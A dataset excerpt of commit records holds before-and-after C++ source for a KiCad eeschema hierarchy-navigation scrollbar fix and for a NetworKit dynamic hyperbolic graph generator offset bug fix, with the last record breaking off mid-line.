bool UpdateScreenFromSheet( WinEDA_SchematicFrame* frame )\n{\n    SCH_SCREEN* NewScreen;\n\n    NewScreen = frame->m_CurrentSheet->LastScreen();\n    if( !NewScreen )\n    {\n        DisplayError( frame, wxT( \"Screen not found for this sheet\" ) );\n        return false;\n    }\n\n    \/\/ Reset display settings of the new screen\n    \/\/ Assumes m_CurrentSheet has already been updated.\n    frame->ClearMsgPanel();\n    frame->DrawPanel->SetScrollbars( NewScreen->m_ZoomScalar,\n                                     NewScreen->m_ZoomScalar,\n                                     NewScreen->m_ScrollbarNumber.x,\n                                     NewScreen->m_ScrollbarNumber.y,\n                                     NewScreen->m_ScrollbarPos.x,\n                                     NewScreen->m_ScrollbarPos.y, TRUE );\n\n    \/\/ update the References\n    frame->m_CurrentSheet->UpdateAllScreenReferences();\n    frame->SetSheetNumberAndCount();\n    frame->DrawPanel->m_CanStartBlock = -1;\n    ActiveScreen = frame->m_CurrentSheet->LastScreen();\n\n    if( NewScreen->m_FirstRedraw )\n    {\n        NewScreen->m_FirstRedraw = FALSE;\n        frame->Zoom_Automatique( TRUE );\n    }\n    else\n    {\n        frame->DrawPanel->MouseToCursorSchema();\n    }\n\n    frame->DrawPanel->Refresh();\n    return true;\n}\n<commit_msg>Fixed problem in eeschema when leaving sub sheet in a hierarchy. (two scrolling parameters were different when calling SetScroolBars in drawframe.cpp and hierarch.cpp <commit_after>\/******************\/\n\/*  hierarch.cpp  *\/\n\/******************\/\n\n#include \"fctsys.h\"\n#include \"gr_basic.h\"\n#include \"common.h\"\n#include \"class_drawpanel.h\"\n#include \"confirm.h\"\n#include \"bitmaps.h\"\n\n#include \"program.h\"\n#include \"general.h\"\n\n#include \"wx\/imaglist.h\"\n#include \"wx\/treectrl.h\"\n\n\nstatic bool UpdateScreenFromSheet( WinEDA_SchematicFrame* frame );\n\nenum\n{\n    ID_TREECTRL_HIERARCHY = 1600\n};\n\n\nclass WinEDA_HierFrame;\n\n\/* This class derived from wxTreeItemData stores the SCH_SHEET_PATH of each\n * sheet in hierarchy in each TreeItem, in its associated data buffer\n*\/\nclass TreeItemData : public wxTreeItemData\n{\npublic:\n    SCH_SHEET_PATH m_SheetPath;\n    TreeItemData( SCH_SHEET_PATH sheet ) : wxTreeItemData()\n    {\n        m_SheetPath = sheet;\n    }\n};\n\n\/* Class to handle hierarchy tree. *\/\nclass WinEDA_Tree : public wxTreeCtrl\n{\nprivate:\n    WinEDA_HierFrame* m_Parent;\n    wxImageList*      imageList;\n\npublic:\n    WinEDA_Tree() { }\n    WinEDA_Tree( WinEDA_HierFrame* parent );\n\n    DECLARE_DYNAMIC_CLASS( WinEDA_Tree )\n};\n\nIMPLEMENT_DYNAMIC_CLASS( WinEDA_Tree, wxTreeCtrl )\n\n\nWinEDA_Tree::WinEDA_Tree( WinEDA_HierFrame* parent ) :\n    wxTreeCtrl( (wxWindow*)parent, ID_TREECTRL_HIERARCHY,\n                wxDefaultPosition, wxDefaultSize,\n                wxTR_HAS_BUTTONS, wxDefaultValidator, wxT( \"HierachyTreeCtrl\" ) )\n{\n    m_Parent = parent;\n\n    \/\/ Make an image list containing small icons\n    imageList = new wxImageList( 16, 15, TRUE, 2 );\n\n    imageList->Add( wxBitmap( tree_nosel_xpm ) );\n    imageList->Add( wxBitmap( tree_sel_xpm ) );\n\n    AssignImageList( imageList );\n}\n\n\nclass WinEDA_HierFrame : public wxDialog\n{\npublic:\n    WinEDA_SchematicFrame* m_Parent;\n    WinEDA_Tree*           m_Tree;\n    int    m_nbsheets;\n    wxDC*  m_DC;\n\nprivate:\n    wxSize m_TreeSize;\n    int    maxposx;\n\npublic:\n    WinEDA_HierFrame( WinEDA_SchematicFrame* parent, wxDC* DC, const wxPoint& pos );\n    void BuildSheetsTree( SCH_SHEET_PATH* list, wxTreeItemId* previousmenu );\n\n    ~WinEDA_HierFrame();\n\n    void OnSelect( wxTreeEvent& event );\n\nprivate:\n    void OnQuit( wxCommandEvent& event );\n\n    DECLARE_EVENT_TABLE()\n};\n\nBEGIN_EVENT_TABLE( WinEDA_HierFrame, wxDialog )\n    EVT_TREE_ITEM_ACTIVATED( ID_TREECTRL_HIERARCHY,\n                             WinEDA_HierFrame::OnSelect )\nEND_EVENT_TABLE()\n\n\nvoid WinEDA_SchematicFrame::InstallHierarchyFrame( wxDC* DC, wxPoint& pos )\n{\n    WinEDA_HierFrame* treeframe = new WinEDA_HierFrame( this, DC, pos );\n\n    treeframe->ShowModal();\n    treeframe->Destroy();\n}\n\n\nWinEDA_HierFrame::WinEDA_HierFrame( WinEDA_SchematicFrame* parent, wxDC* DC,\n                                    const wxPoint& pos ) :\n    wxDialog( parent, -1, _( \"Navigator\" ), pos, wxSize( 110, 50 ),\n              DIALOG_STYLE )\n{\n    wxTreeItemId cellule;\n\n    m_Parent = parent;\n    m_DC   = DC;\n    m_Tree = new WinEDA_Tree( this );\n\n    m_nbsheets = 1;\n\n    cellule = m_Tree->AddRoot( _( \"Root\" ), 0, 1 );\n    m_Tree->SetItemBold( cellule, TRUE );\n    SCH_SHEET_PATH list;\n    list.Push( g_RootSheet );\n    m_Tree->SetItemData( cellule, new TreeItemData( list ) );\n\n    wxRect itemrect;\n#ifdef __UNIX__\n    itemrect.SetWidth( 100 );\n    itemrect.SetHeight( 20 );\n#else\n    m_Tree->GetBoundingRect( cellule, itemrect );\n#endif\n    m_TreeSize.x = itemrect.GetWidth() + 10;\n    m_TreeSize.y = 20;\n\n    if( m_Parent->GetSheet()->Last() == g_RootSheet )\n        m_Tree->SelectItem( cellule ); \/\/root.\n\n    maxposx = 15;\n    BuildSheetsTree( &list, &cellule );\n\n    if( m_nbsheets > 1 )\n    {\n        m_Tree->Expand( cellule );\n\n        \/\/ Readjust the size of the frame to an optimal value.\n        m_TreeSize.y += m_nbsheets * itemrect.GetHeight();\n        m_TreeSize.x  = MIN( m_TreeSize.x, 250 );\n        m_TreeSize.y  = MIN( m_TreeSize.y, 350 );\n        SetClientSize( m_TreeSize );\n    }\n}\n\n\nWinEDA_HierFrame::~WinEDA_HierFrame()\n{\n}\n\n\nvoid WinEDA_HierFrame::OnQuit( wxCommandEvent& WXUNUSED (event) )\n{\n    \/\/ true is to force the frame to close\n    Close( true );\n}\n\n\n\/* Routine to create the tree in the navigation hierarchy\n * Schematic\n * This routine is re-entrant!\n *\/\nvoid WinEDA_HierFrame::BuildSheetsTree( SCH_SHEET_PATH* list,\n                                        wxTreeItemId*  previousmenu )\n\n{\n    wxTreeItemId menu;\n\n    if( m_nbsheets > NB_MAX_SHEET )\n    {\n        if( m_nbsheets == (NB_MAX_SHEET + 1) )\n        {\n            wxString msg;\n            msg << wxT( \"BuildSheetsTree: Error: nbsheets > \" ) << NB_MAX_SHEET;\n            DisplayError( this, msg );\n            m_nbsheets++;\n        }\n        return;\n    }\n\n    maxposx += m_Tree->GetIndent();\n    SCH_ITEM* schitem = list->LastDrawList();\n    while( schitem && m_nbsheets < NB_MAX_SHEET )\n    {\n        if( schitem->Type() == DRAW_SHEET_STRUCT_TYPE )\n        {\n            SCH_SHEET* sheet = (SCH_SHEET*) schitem;\n            m_nbsheets++;\n            menu = m_Tree->AppendItem( *previousmenu, sheet->m_SheetName, 0, 1 );\n            list->Push( sheet );\n            m_Tree->SetItemData( menu, new TreeItemData( *list ) );\n            int ll = m_Tree->GetItemText( menu ).Len();\n#ifdef __WINDOWS__\n            ll *= 9;    \/\/  * char width\n#else\n            ll *= 12;   \/\/  * char width\n#endif\n            ll += maxposx + 20;\n            m_TreeSize.x  = MAX( m_TreeSize.x, ll );\n            m_TreeSize.y += 1;\n            if( *list == *( m_Parent->GetSheet() ) )\n            {\n                m_Tree->EnsureVisible( menu );\n                m_Tree->SelectItem( menu );\n            }\n            BuildSheetsTree( list, &menu );\n            m_Tree->Expand( menu );\n            list->Pop();\n        }\n        schitem = schitem->Next();\n    }\n\n    maxposx -= m_Tree->GetIndent();\n}\n\n\n\/* Called on a double-click on a tree item:\n * Open the selected sheet, and display the corresponding screen\n *\/\nvoid WinEDA_HierFrame::OnSelect( wxTreeEvent& event )\n\n{\n    wxTreeItemId ItemSel = m_Tree->GetSelection();\n\n    *(m_Parent->m_CurrentSheet) =\n        ( (TreeItemData*) m_Tree->GetItemData( ItemSel ) )->m_SheetPath;\n    UpdateScreenFromSheet( m_Parent );\n    Close( TRUE );\n}\n\n\n\/* Set the current screen to display the parent sheet of the current\n * displayed sheet\n *\/\nvoid WinEDA_SchematicFrame::InstallPreviousSheet()\n{\n    if( m_CurrentSheet->Last() == g_RootSheet )\n        return;\n\n    g_ItemToRepeat = NULL;\n    ClearMsgPanel();\n\n    \/\/make a copy for testing purposes.\n    SCH_SHEET_PATH listtemp = *m_CurrentSheet;\n    listtemp.Pop();\n    if( listtemp.LastScreen() == NULL )\n    {\n        DisplayError( this,\n                      wxT( \"InstallPreviousScreen() Error: Sheet not found\" ) );\n        return;\n    }\n    m_CurrentSheet->Pop();\n    UpdateScreenFromSheet( this );\n}\n\n\n\/* Routine installation of the screen corresponding to the symbol edge Sheet\n * Be careful here because the SCH_SHEETs within the EEDrawList\n * don't actually have a valid m_AssociatedScreen (on purpose -- you need the\n * m_SubSheet hierarchy to maintain path info (well, this is but one way to\n * maintain path info..)\n *\/\nvoid WinEDA_SchematicFrame::InstallNextScreen( SCH_SHEET* Sheet )\n{\n    if( Sheet == NULL )\n    {\n        DisplayError( this, wxT( \"InstallNextScreen() error\" ) ); return;\n    }\n    m_CurrentSheet->Push( Sheet );\n    g_ItemToRepeat = NULL;\n    ClearMsgPanel();\n    UpdateScreenFromSheet( this );\n}\n\n\n\/* Find and install the screen on the sheet symbol Sheet.\n * If Sheet == NULL installation of the screen base (Root).\n *\/\nstatic bool UpdateScreenFromSheet( WinEDA_SchematicFrame* frame )\n{\n    SCH_SCREEN* NewScreen;\n\n    NewScreen = frame->m_CurrentSheet->LastScreen();\n    if( !NewScreen )\n    {\n        DisplayError( frame, wxT( \"Screen not found for this sheet\" ) );\n        return false;\n    }\n\n    \/\/ Reset display settings of the new screen\n    \/\/ Assumes m_CurrentSheet has already been updated.\n    frame->ClearMsgPanel();\n    int pixelsPerUnitX = 1;\n    int pixelsPerUnitY = 1;\n    frame->DrawPanel->SetScrollbars( pixelsPerUnitX, pixelsPerUnitY,\n                                     NewScreen->m_ScrollbarNumber.x,\n                                     NewScreen->m_ScrollbarNumber.y,\n                                     NewScreen->m_ScrollbarPos.x,\n                                     NewScreen->m_ScrollbarPos.y, TRUE );\n    \n    \/\/ update the References\n    frame->m_CurrentSheet->UpdateAllScreenReferences();\n    frame->SetSheetNumberAndCount();\n    frame->DrawPanel->m_CanStartBlock = -1;\n    ActiveScreen = frame->m_CurrentSheet->LastScreen();\n\n    if( NewScreen->m_FirstRedraw )\n    {\n        NewScreen->m_FirstRedraw = FALSE;\n        frame->Zoom_Automatique( TRUE );\n    }\n    else\n    {\n        frame->DrawPanel->MouseToCursorSchema();\n    }\n\n    frame->DrawPanel->Refresh();\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Add output to the thread test<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * DynamicHyperbolicGenerator.cpp\n *\n *  Created on: 29.07.2014\n *      Author: moritzl\n *\/\n\n#include <cmath>\n\n#include \"DynamicHyperbolicGenerator.h\"\n#include \"HyperbolicGenerator.h\"\n#include \"..\/geometric\/HyperbolicSpace.h\"\n\nusing std::vector;\nnamespace NetworKit {\n\nDynamicHyperbolicGenerator::DynamicHyperbolicGenerator() {\n\t\/\/ TODO Auto-generated constructor stub\n\n}\n\nDynamicHyperbolicGenerator::DynamicHyperbolicGenerator(count n, double initialFactor, double alpha, double stretch, double moveEachStep, double factorgrowth, double moveDistance) {\n\tnodes = n;\n\tcurrentfactor = initialFactor;\n\tthis->alpha = alpha;\n\tthis->stretch = stretch;\n\tthis->moveEachStep = moveEachStep;\n\tthis->factorgrowth = factorgrowth;\n\tthis->moveDistance = moveDistance;\n\tthis->initialized = false;\n}\n\nDynamicHyperbolicGenerator::DynamicHyperbolicGenerator(vector<double> &angles, vector<double> &radii, double R, double initialFactor, double moveEachStep, double factorgrowth, double moveDistance) {\n\tthis->angles = angles;\n\tthis->radii = radii;\n\tthis->nodes = angles.size();\n\tassert(radii.size() == nodes);\n\tdouble r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R);\n\tquad = Quadtree<index>(r);\n\tcurrentfactor = initialFactor;\n\tthis->alpha = 1;\/\/not needed any more\n\tthis->stretch = 1;\/\/not needed any more\n\tthis->moveEachStep = moveEachStep;\n\tthis->factorgrowth = factorgrowth;\n\tthis->moveDistance = moveDistance;\n\tthis->initialized = true;\n\tfor (index i = 0; i < nodes; i++) {\n\t\tassert(radii[i] < r);\n\t\tquad.addContent(i, angles[i], radii[i]);\n\t}\n\tINFO(\"Filled Quadtree\");\n}\n\nDynamicHyperbolicGenerator::~DynamicHyperbolicGenerator() {\n\t\/\/ TODO Auto-generated destructor stub\n}\n\nvoid DynamicHyperbolicGenerator::initializeQuadTree() {\n\tif (initialized) return;\n\telse initialized = true;\n\tdouble R = stretch*acosh((double)nodes\/(2*M_PI)+1);\n\tangles.resize(nodes);\n\tradii.resize(nodes);\n\tdouble rad_nom = (cosh(R)-1);\n\tdouble rad_denom = (cosh(R)+1);\n\tdouble r = sqrt(rad_nom\/rad_denom);\n\tquad = Quadtree<index>(r);\n\tHyperbolicSpace::fillPoints(&angles, &radii, stretch, alpha);\n\tINFO(\"Generated Points\");\n\tfor (index i = 0; i < nodes; i++) {\n\t\tassert(radii[i] < R);\n\t\tquad.addContent(i, angles[i], radii[i]);\n\t}\n\tINFO(\"Filled Quadtree\");\n}\n\nGraph DynamicHyperbolicGenerator::getGraph() {\n\tif (!initialized) initializeQuadTree();\/\/this is horribly expensive, since it constructs a new Quadtree\n\tdouble R = stretch*acosh((double)nodes\/(2*M_PI)+1);\n\tdouble r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R);\n\t\/**\n\t * The next call is unnecessarily expensive, since it constructs a new QuadTree.\n\t * Reduces code duplication, though.\n\t *\/\n\treturn HyperbolicGenerator::generate(&angles, &radii, r, currentfactor*R);\n}\n\nstd::vector<Point<float> > DynamicHyperbolicGenerator::getCoordinates() const {\n\tcount n = angles.size();\n\tassert(radii.size() == n);\n\tstd::vector<Point<float> > result;\n\tfor (index i = 0; i < angles.size(); i++) {\n\t\tPoint2D<double> coord = HyperbolicSpace::polarToCartesian(angles[i], radii[i]);\n\t\tPoint<float> temp(coord[0], coord[1]);\n\t\tresult.push_back(temp);\n\t}\n\treturn result;\n}\n\nstd::vector<Point<float> > DynamicHyperbolicGenerator::getHyperbolicCoordinates() const {\n\tcount n = angles.size();\n\tassert(radii.size() == n);\n\tstd::vector<Point<float> > result;\n\tfor (index i = 0; i < angles.size(); i++) {\n\t\tPoint2D<double> coord = HyperbolicSpace::polarToCartesian(angles[i], HyperbolicSpace::EuclideanRadiusToHyperbolic(radii[i]));\n\t\tPoint<float> temp(coord[0], coord[1]);\n\t\tresult.push_back(temp);\n\t}\n\treturn result;\n}\n\nstd::vector<GraphEvent> DynamicHyperbolicGenerator::generate(count nSteps) {\n\tif (!initialized) initializeQuadTree();\n\tassert(quad.size() == nodes);\n\tvector<GraphEvent> result;\n\tdouble R = stretch*acosh((double)nodes\/(2*M_PI)+1);\n\tdouble r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R);\n\n\tfor (index step = 0; step < nSteps; step++) {\n\t\tcount oldStreamMarker = result.size();\n\t\tassert(factorgrowth == 0 || moveEachStep == 0 || moveDistance == 0);\n\t\tif (factorgrowth != 0) {\n\t\t\t\/\/nodes are stationary, growing factors\n\t\t\tdouble newfactor = currentfactor + factorgrowth;\n\/**\n * TODO: get all neighbours in the beginning, sort them by hyperbolic distance, move along edge array.\n *\/\n\t\t\t#pragma omp parallel for\n\t\t\tfor (index i = 0; i < nodes; i++) {\n\t\t\t\tassert(R*newfactor > R*currentfactor);\n\t\t\t\tvector<index> oldset = quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), R*currentfactor);\n\t\t\t\t\/\/we only add new edges, don't remove any. The order of the points should be the same\n\t\t\t\tvector<index> newset = quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), R*newfactor);\n\t\t\t\tassert(newset.size() >= oldset.size());\n\t\t\t\tstd::sort(oldset.begin(), oldset.end());\n\t\t\t\tstd::sort(newset.begin(), newset.end());\n\t\t\t\tvector<index> difference(newset.size());\n\n\t\t\t\t\/\/get new edges\n\t\t\t\tauto it = std::set_difference(newset.begin(), newset.end(), oldset.begin(), oldset.end(), difference.begin());\n\n\t\t\t\t\/\/keep only those pointing to higher node indices, we don't want any multiedges\n\t\t\t\tit = std::remove_if(difference.begin(), it, [i](index edge){return i >= edge;});\n\t\t\t\tdifference.resize(it - difference.begin());\n\n\t\t\t\t#pragma omp critical\n\t\t\t\t{\n\t\t\t\t\tfor (auto edge : difference) {\n\t\t\t\t\t\tresult.emplace_back(GraphEvent::EDGE_ADDITION, i, edge);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tcurrentfactor = newfactor;\n\t\t}\n\t\telse {\n\t\t\tvector<index> toWiggle;\n\t\t\tvector<vector<index> > oldNeighbours;\n\t\t\t\/\/TODO: One could parallelize this.\n\t\t\tfor (index i = 0; i < nodes; i++) {\n\t\t\t\tif (Aux::Random::real(1) < moveEachStep) {\n\t\t\t\t\ttoWiggle.push_back(i);\n\t\t\t\t\toldNeighbours.push_back(quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), R*currentfactor));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/**\n\t\t\t * Tried to parallelize this, didn't bring any benefit.\n\t\t\t * Not surprising, since most of the work - manipulating the QuadTree - needs to be done in a critical section\n\t\t\t *\/\n\t\t\tfor (index j = 0; j < toWiggle.size(); j++) {\n\t\t\t\t\/\/wiggle this node!\n\t\t\t\tdouble hyperbolicRadius = HyperbolicSpace::EuclideanRadiusToHyperbolic(radii[toWiggle[j]]);\n\n\t\t\t\t\/\/angular movement\n\n\t\t\t\tdouble maxcdf = cosh(R);\n\t\t\t\tdouble mincdf = 1;\n\t\t\t\tdouble currcdf = cosh(hyperbolicRadius);\n\n\t\t\t\tdouble offset = moveEachStep*50;\n\t\t\t\tdouble random = Aux::Random::real(currcdf-offset, currcdf+offset);\n\t\t\t\tif (random > maxcdf) {\n\t\t\t\t\trandom -= 2*(random - maxcdf);\n\t\t\t\t}\n\t\t\t\tif (random < mincdf) {\n\t\t\t\t\trandom += 2*(mincdf - random);\n\t\t\t\t}\n\t\t\t\tdouble newradius = acosh(random)\/alpha;\n\t\t\t\t\/\/assert(abs(newradius - hyperbolicRadius) < moveEachStep);\n\t\t\t\tif (newradius >= R) newradius = std::nextafter(R, std::numeric_limits<double>::lowest());\n\t\t\t\tassert(newradius < R);\n\t\t\t\tassert(newradius >= 0);\n\n\t\t\t\tdouble angleMovement = Aux::Random::real(-moveEachStep\/hyperbolicRadius, moveEachStep\/hyperbolicRadius);\n\t\t\t\tdouble newphi = angles[toWiggle[j]] + angleMovement;\n\t\t\t\tif (newphi < 0) newphi += (floor(-newphi\/(2*M_PI))+1)*2*M_PI;\n\t\t\t\tif (newphi > 2*M_PI) newphi -= floor(newphi\/(2*M_PI))*2*M_PI;\n\n\t\t\t\t\/\/bounce off the boundary\n\t\t\t\tnewradius = HyperbolicSpace::hyperbolicRadiusToEuclidean(newradius);\n\t\t\t\tif (newradius >= r) newradius = std::nextafter(newradius, std::numeric_limits<double>::lowest());\n\n\t\t\t\t\/\/updating Quadtree\n\t\t\t\tbool removed = quad.removeContent(toWiggle[j], angles[toWiggle[j]], radii[toWiggle[j]]);\n\t\t\t\tassert(removed);\n\t\t\t\tangles[toWiggle[j]] = newphi;\n\t\t\t\tradii[toWiggle[j]] = newradius;\n\t\t\t\tquad.addContent(toWiggle[j], newphi, newradius);\n\n\t\t\t}\n\n\t\t\t\/\/now get the new edges and see what changed\n\t\t\t#pragma omp parallel for\n\t\t\tfor (index j = 0; j < toWiggle.size(); j++) {\n\t\t\t\tvector<index> newNeighbours = quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[toWiggle[j]], radii[toWiggle[j]]), R*currentfactor);\n\t\t\t\tstd::sort(oldNeighbours[j].begin(), oldNeighbours[j].end());\n\t\t\t\tstd::sort(newNeighbours.begin(), newNeighbours.end());\n\t\t\t\tvector<index> newEdges(newNeighbours.size());\n\t\t\t\tauto it = std::set_difference(newNeighbours.begin(), newNeighbours.end(), oldNeighbours[j].begin(), oldNeighbours[j].end(), newEdges.begin());\n\t\t\t\tnewEdges.erase(it, newEdges.end());\/\/trim empty space\n\n\t\t\t\tvector<index> brokenEdges(oldNeighbours[j].size() - (newNeighbours.size() - newEdges.size()));\/\/this should be the number of broken edges\n\t\t\t\tit = std::set_difference(oldNeighbours[j].begin(), oldNeighbours[j].end(), newNeighbours.begin(), newNeighbours.end(), brokenEdges.begin());\n\t\t\t\tassert(it == brokenEdges.end());\n\n\t\t\t\t#pragma omp critical\n\t\t\t\t{\n\t\t\t\t\tfor (index edge : newEdges) {\n\t\t\t\t\t\tresult.emplace_back(GraphEvent::EDGE_ADDITION, toWiggle[j], edge);\n\t\t\t\t\t}\n\t\t\t\t\tfor (index edge : brokenEdges) {\n\t\t\t\t\t\tresult.emplace_back(GraphEvent::EDGE_REMOVAL, toWiggle[j], edge);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/**\n\t\t\t * since we didn't know whether the other endpoint of an edge was wiggled or not, we may\n\t\t\t * have added some of them twice.\n\t\t\t * Remove the doubles:\n\t\t\t *\/\n\t\t\tfor (auto it = result.begin()+oldStreamMarker; it < result.end(); it++) {\n\t\t\t\tif (it->u > it->v) std::swap(it->u, it->v);\n\t\t\t}\n\t\t\tstd::sort(result.begin()+oldStreamMarker, result.end(), GraphEvent::compare);\n\t\t\tauto end = std::unique(result.begin()+oldStreamMarker, result.end(), GraphEvent::equal);\n\t\t\tresult.erase(end, result.end());\n\t\t}\n\t\tresult.push_back(GraphEvent(GraphEvent::TIME_STEP));\n\t}\n\treturn result;\n}\n} \/* namespace NetworKit *\/\n<commit_msg>fixed embarassing bug in DynamicHyperbolicGenerator<commit_after>\/*\n * DynamicHyperbolicGenerator.cpp\n *\n *  Created on: 29.07.2014\n *      Author: moritzl\n *\/\n\n#include <cmath>\n\n#include \"DynamicHyperbolicGenerator.h\"\n#include \"HyperbolicGenerator.h\"\n#include \"..\/geometric\/HyperbolicSpace.h\"\n\nusing std::vector;\nnamespace NetworKit {\n\nDynamicHyperbolicGenerator::DynamicHyperbolicGenerator() {\n\t\/\/ TODO Auto-generated constructor stub\n\n}\n\nDynamicHyperbolicGenerator::DynamicHyperbolicGenerator(count n, double initialFactor, double alpha, double stretch, double moveEachStep, double factorgrowth, double moveDistance) {\n\tnodes = n;\n\tcurrentfactor = initialFactor;\n\tthis->alpha = alpha;\n\tthis->stretch = stretch;\n\tthis->moveEachStep = moveEachStep;\n\tthis->factorgrowth = factorgrowth;\n\tthis->moveDistance = moveDistance;\n\tthis->initialized = false;\n}\n\nDynamicHyperbolicGenerator::DynamicHyperbolicGenerator(vector<double> &angles, vector<double> &radii, double R, double initialFactor, double moveEachStep, double factorgrowth, double moveDistance) {\n\tthis->angles = angles;\n\tthis->radii = radii;\n\tthis->nodes = angles.size();\n\tassert(radii.size() == nodes);\n\tdouble r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R);\n\tquad = Quadtree<index>(r);\n\tcurrentfactor = initialFactor;\n\tthis->alpha = 1;\/\/not needed any more\n\tthis->stretch = 1;\/\/not needed any more\n\tthis->moveEachStep = moveEachStep;\n\tthis->factorgrowth = factorgrowth;\n\tthis->moveDistance = moveDistance;\n\tthis->initialized = true;\n\tfor (index i = 0; i < nodes; i++) {\n\t\tassert(radii[i] < r);\n\t\tquad.addContent(i, angles[i], radii[i]);\n\t}\n\tINFO(\"Filled Quadtree\");\n}\n\nDynamicHyperbolicGenerator::~DynamicHyperbolicGenerator() {\n\t\/\/ TODO Auto-generated destructor stub\n}\n\nvoid DynamicHyperbolicGenerator::initializeQuadTree() {\n\tif (initialized) return;\n\telse initialized = true;\n\tdouble R = stretch*acosh((double)nodes\/(2*M_PI)+1);\n\tangles.resize(nodes);\n\tradii.resize(nodes);\n\tdouble rad_nom = (cosh(R)-1);\n\tdouble rad_denom = (cosh(R)+1);\n\tdouble r = sqrt(rad_nom\/rad_denom);\n\tquad = Quadtree<index>(r);\n\tHyperbolicSpace::fillPoints(&angles, &radii, stretch, alpha);\n\tINFO(\"Generated Points\");\n\tfor (index i = 0; i < nodes; i++) {\n\t\tassert(radii[i] < R);\n\t\tquad.addContent(i, angles[i], radii[i]);\n\t}\n\tINFO(\"Filled Quadtree\");\n}\n\nGraph DynamicHyperbolicGenerator::getGraph() {\n\tif (!initialized) initializeQuadTree();\/\/this is horribly expensive, since it constructs a new Quadtree\n\tdouble R = stretch*acosh((double)nodes\/(2*M_PI)+1);\n\tdouble r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R);\n\t\/**\n\t * The next call is unnecessarily expensive, since it constructs a new QuadTree.\n\t * Reduces code duplication, though.\n\t *\/\n\treturn HyperbolicGenerator::generate(&angles, &radii, r, currentfactor*R);\n}\n\nstd::vector<Point<float> > DynamicHyperbolicGenerator::getCoordinates() const {\n\tcount n = angles.size();\n\tassert(radii.size() == n);\n\tstd::vector<Point<float> > result;\n\tfor (index i = 0; i < angles.size(); i++) {\n\t\tPoint2D<double> coord = HyperbolicSpace::polarToCartesian(angles[i], radii[i]);\n\t\tPoint<float> temp(coord[0], coord[1]);\n\t\tresult.push_back(temp);\n\t}\n\treturn result;\n}\n\nstd::vector<Point<float> > DynamicHyperbolicGenerator::getHyperbolicCoordinates() const {\n\tcount n = angles.size();\n\tassert(radii.size() == n);\n\tstd::vector<Point<float> > result;\n\tfor (index i = 0; i < angles.size(); i++) {\n\t\tPoint2D<double> coord = HyperbolicSpace::polarToCartesian(angles[i], HyperbolicSpace::EuclideanRadiusToHyperbolic(radii[i]));\n\t\tPoint<float> temp(coord[0], coord[1]);\n\t\tresult.push_back(temp);\n\t}\n\treturn result;\n}\n\nstd::vector<GraphEvent> DynamicHyperbolicGenerator::generate(count nSteps) {\n\tif (!initialized) initializeQuadTree();\n\tassert(quad.size() == nodes);\n\tvector<GraphEvent> result;\n\tdouble R = stretch*acosh((double)nodes\/(2*M_PI)+1);\n\tdouble r = HyperbolicSpace::hyperbolicRadiusToEuclidean(R);\n\n\tfor (index step = 0; step < nSteps; step++) {\n\t\tcount oldStreamMarker = result.size();\n\t\tassert(factorgrowth == 0 || moveEachStep == 0 || moveDistance == 0);\n\t\tif (factorgrowth != 0) {\n\t\t\t\/\/nodes are stationary, growing factors\n\t\t\tdouble newfactor = currentfactor + factorgrowth;\n\/**\n * TODO: get all neighbours in the beginning, sort them by hyperbolic distance, move along edge array.\n *\/\n\t\t\t#pragma omp parallel for\n\t\t\tfor (index i = 0; i < nodes; i++) {\n\t\t\t\tassert(R*newfactor > R*currentfactor);\n\t\t\t\tvector<index> oldset = quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), R*currentfactor);\n\t\t\t\t\/\/we only add new edges, don't remove any. The order of the points should be the same\n\t\t\t\tvector<index> newset = quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), R*newfactor);\n\t\t\t\tassert(newset.size() >= oldset.size());\n\t\t\t\tstd::sort(oldset.begin(), oldset.end());\n\t\t\t\tstd::sort(newset.begin(), newset.end());\n\t\t\t\tvector<index> difference(newset.size());\n\n\t\t\t\t\/\/get new edges\n\t\t\t\tauto it = std::set_difference(newset.begin(), newset.end(), oldset.begin(), oldset.end(), difference.begin());\n\n\t\t\t\t\/\/keep only those pointing to higher node indices, we don't want any multiedges\n\t\t\t\tit = std::remove_if(difference.begin(), it, [i](index edge){return i >= edge;});\n\t\t\t\tdifference.resize(it - difference.begin());\n\n\t\t\t\t#pragma omp critical\n\t\t\t\t{\n\t\t\t\t\tfor (auto edge : difference) {\n\t\t\t\t\t\tresult.emplace_back(GraphEvent::EDGE_ADDITION, i, edge);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tcurrentfactor = newfactor;\n\t\t}\n\t\telse {\n\t\t\tvector<index> toWiggle;\n\t\t\tvector<vector<index> > oldNeighbours;\n\t\t\t\/\/TODO: One could parallelize this.\n\t\t\tfor (index i = 0; i < nodes; i++) {\n\t\t\t\tif (Aux::Random::real(1) < moveEachStep) {\n\t\t\t\t\ttoWiggle.push_back(i);\n\t\t\t\t\toldNeighbours.push_back(quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[i], radii[i]), R*currentfactor));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/**\n\t\t\t * Tried to parallelize this, didn't bring any benefit.\n\t\t\t * Not surprising, since most of the work - manipulating the QuadTree - needs to be done in a critical section\n\t\t\t *\/\n\t\t\tfor (index j = 0; j < toWiggle.size(); j++) {\n\t\t\t\t\/\/wiggle this node!\n\t\t\t\tdouble hyperbolicRadius = HyperbolicSpace::EuclideanRadiusToHyperbolic(radii[toWiggle[j]]);\n\n\t\t\t\t\/\/angular movement\n\n\t\t\t\tdouble maxcdf = cosh(R);\n\t\t\t\tdouble mincdf = 1;\n\t\t\t\tdouble currcdf = cosh(hyperbolicRadius);\n\n\t\t\t\tdouble offset = moveDistance;\n\t\t\t\tdouble random = Aux::Random::real(currcdf-offset, 